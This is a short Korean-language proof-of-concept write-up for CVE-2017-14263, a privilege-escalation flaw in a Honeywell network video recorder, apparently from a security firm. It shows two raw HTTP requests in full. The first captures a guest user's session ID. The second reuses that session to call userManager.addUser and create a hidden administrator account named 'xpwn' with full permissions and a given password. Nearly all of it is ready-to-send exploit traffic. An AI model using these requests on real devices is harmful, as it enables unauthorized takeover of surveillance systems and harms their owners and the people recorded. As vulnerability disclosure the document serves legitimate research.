Honeywell_NVR_vul

CVE-2017-14263

xfuturesec Co., Ltd

첫째, 게스트 사용자의 SessionID를 획득합니다.

모든 HTTP 요청에서 SessionID를 찾을 수 있습니다. 예를 들어:
POST https://192.168.1.104/RPC2 HTTP/1.1
Accept: text/javascript, text/html, application/xml, text/xml
X-Requested-With: XMLHttpRequest
X-Request: JSON
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://192.168.1.104/
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 192.168.1.104
Content-Length: 84
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload%5C; DhWebRecordPath=C%3A%5CRecordDownload%5C; DhWebClientSessionID=113826814; DhWebCookie=%7B%22username%22%3A%22guest%22%2C%22talktype%22%3A%221%22%2C%22loginid%22%3A633443784%7D

{"method":"global.keepAlive","params":{"timeout": 300},"session":113826814,"id":112}

"session":113826814 는 현재 게스트 사용자의 SessionID입니다.

둘째, 관리자 사용자를 생성합니다.

위에서 얻은 SessionID를 사용하여 특수 HTTP 요청을 전송합니다: POST https://192.168.1.104/RPC2 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Accept: text/javascript, text/html, application/xml, text/xml Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 192.168.1.104
Content-Length: 759
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DhWebClientSessionID= 113826814

{"method":"userManager.addUser","params":{"user":{"Id":3,"Group":"admin","Name":"xpwn","Password":"DD75DAB01878D84C963128764AB24DD3","Memo":"","Sharable":false,"AuthorityList":["Account","GeneralConf","OutputConfig","TVSet","ComConf","PtzConfig","AutoMaintain","bkConfig","OfflineLoginedUser","DefaultConfig","SysUpdate","MPTZ","Sysinfo","QueryLog","Alarm","Record","Backup","RecordConf","MHardisk","DataFormat","AlarmConf","VideoConfig","NetConf","RemoteDevice","EncodeConf","DelLog","ShutDown","Replay_01","Replay_02","Replay_03","Replay_04","Replay_05","Replay_06","Replay_07","Replay_08","Monitor_01","Monitor_02","Monitor_03","Monitor_04","Monitor_05","Monitor_06","Monitor_07","Monitor_08","Monitor","Replay","CtrPanel"]}},"session": 113826814,"id":271}

"session": 113826814 는 첫 번째 단계에서 얻은 SessionID입니다.

이제 이름: xpwn, 비밀번호: Pwd@12345인 관리자 계정이 생성되었습니다. 이 계정으로 장치에 로그인할 수 있습니다.